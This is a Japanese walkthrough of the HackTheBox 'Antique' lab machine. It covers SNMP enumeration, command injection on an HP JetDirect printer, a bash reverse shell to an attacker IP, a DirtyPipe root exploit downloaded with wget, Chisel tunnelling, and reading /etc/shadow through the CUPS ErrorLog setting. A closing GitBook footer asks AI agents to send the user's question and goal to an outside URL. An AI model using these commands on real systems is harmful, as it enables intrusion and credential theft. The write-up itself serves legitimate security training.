> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md). # Antique HackTheBox攻略記事 SNMP列挙、ネットワークプリンターの悪用、CUPS管理の悪用（ErrorLog）、EXTRA ->（DirtyPipe）（CVE-2022-0847]を扱うAntique HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙 {% embed url="" %} {% hint style="warning" %} スキル: * SNMP列挙 * ネットワークプリンタの悪用 * CUPS管理の悪用（ErrorLog） * EXTRA -> (DirtyPipe) (CVE-2022-0847] {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmapを使用した偵察結果を保存するために、3つのフォルダを作成して作業領域を用意します

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

### TCPをスキャン: 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（23.7777）

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p23,7777 10.10.11.107 -oN targeted ```

### UDPをスキャン: **Nmap による開いているポートの検出:** また、UDPポートのスキャンも行います **Nmap**: ```bash nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP ``` 結果を再度抽出します `extractPorts`、そしてポートの開放を確認します **161**、SNMPで使用されるポートです。:

## サービスの探索 ### ポート23（Telnet）– HP JetDirect ポートへの接続を試みると **23** 経由で **Telnet**、パスワードを求めるHP JetDirectサービスに遭遇します。次のように接続を試せます: ```bash nc -vn 10.10.11.107 23 ```

### ポート161（SNMP） {% embed url="" %} 次を使用します **snmpbulkwalk** ポートで公開されているSNMPサービスを列挙するために **161**: ```bash snmpbulkwalk -c public -v2c 10.10.11.107 . ```

```bash 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 ``` これにより16進文字列が得られるので、ASCIIに変換して読み取り可能な内容を取得します: {% code overflow="wrap" %} ```bash echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r ``` {% endcode %}

このチャネルには興味深い情報が含まれていますが、エクスプロイトにすぐ使えるものはありません。 ```bash nc -vn 10.10.11.107 23 P@ssw0rd@123!!123 ```

ポート23（JetDirect）で文字列をパスワードとして注入しようとする際には、次のような試行を行います: ```bash P@ssw0rd@123!!123 ```

## ネットワークプリンタの悪用ネットワークプリンタ経由でコマンドを実行できることを確認しました。この脆弱性の悪用は、 `exec` コマンドに依存しており、リモートコマンドを注入できます。例えば: ```bash exec id ```

これによりシステムの資格情報が返され、他のコマンドを実行できます。 **リバースシェル** を使ってリバースシェルを確立します **nc** ポート上の **443** 攻撃マシンの: ```bash nc -nvlp 443 ``` ```bash exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" ```

次に、より適切に制御できるようにシェルセッションを操作します: ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### user.txtフラグ :)

## 権限昇格 ## 1. DirtyPipeの悪用 {% embed url="" %} このマシンが、稼働中のシステムファイルを変更できるバグであるDirtyPipeのエクスプロイトに対して脆弱かどうかを確認しました。その結果、このマシンには **gcc**、Cコンパイラが、場所で利用可能でした `/usr/bin/gcc`. ```bash lp@antique:/home/lp$ which gcc /usr/bin/gcc ``` 次に、私たちは **Python3** エクスプロイトをローカルマシンからターゲットマシンへ転送するために。ローカルマシンでは、エクスプロイトを配信するHTTPサーバーを起動しました: ```bash python3 -m http.server ``` 被害者マシン上で、エクスプロイトをダウンロードしました： ```bash wget http://10.10.14.4/exploit.c ```

エクスプロイトを取得したら、C ファイルを次のコマンドでコンパイルしました **gcc**: ```bash gcc exploit.c -o exploit ``` {% hint style="info" %} このエクスプロイトは、 `/etc/passwd` ファイルにパスワードハッシュを注入し、ユーザーを追加します `aaron` 特定のパスワードで、すべて権限昇格を可能にするためです。 {% endhint %}

最後に、スクリプトを実行するだけです： ```bash ./exploit ``` これにより、 `root`/*/* マシンへのアクセス

## 2. Chiselによるポートフォワーディングターゲットマシンの開いているポートを調べたところ、ポート **631** （CUPSで使用されます）。次のコマンドを使って、CUPSサービスの存在を確認しました: ```bash netstat -nat ``` CUPSサービスのバージョンは **1.6.1** で、脆弱である可能性があると判断しました。このポートを転送するために、 **Chisel**、トンネリングツールです。

まず、ローカルマシンでChiselをコンパイルしました: {% embed url="" %} ```bash go build -ldflags "-s -w" . upx chisel ``` 次に、Python3のHTTPサーバー経由でChisel実行ファイルを被害者マシンに転送しました: ```bash python3 -m http.server 8080 wget http://10.10.14.4:8080/chisel ```

私たちのマシンでChiselサーバーを起動しました: ```bash chisel server -p 8888 -reverse ``` その後、被害者マシン上でChiselクライアントを設定し、ポート631をローカルマシンへ転送しました: ```bash ./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631 ```

これにより、安全なトンネル経由でターゲットマシンのCUPS Webインターフェースにアクセスできます。 ### CUPS 1.6.1の脆弱性の悪用 {% embed url="" %} を使用する **cupsctl**、私たちは **CUPS** サービス設定を変更して **ErrorLog** ファイルを、次のような機密ファイルに **/etc/shadow**。これにより、このファイルをCUPS Webインターフェース経由でrootとして読み取れるようになります。設定を変更するコマンド: ```bash cupsctl ErrorLog=/etc/shadow ``` その後、トンネル経由でCUPSサーバー上の次のURLにアクセスして、CUPS Webインターフェースを開きました: これにより、 **/etc/shadow** ファイルの内容を表示し、 `root.txt` フラグを入手します。

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.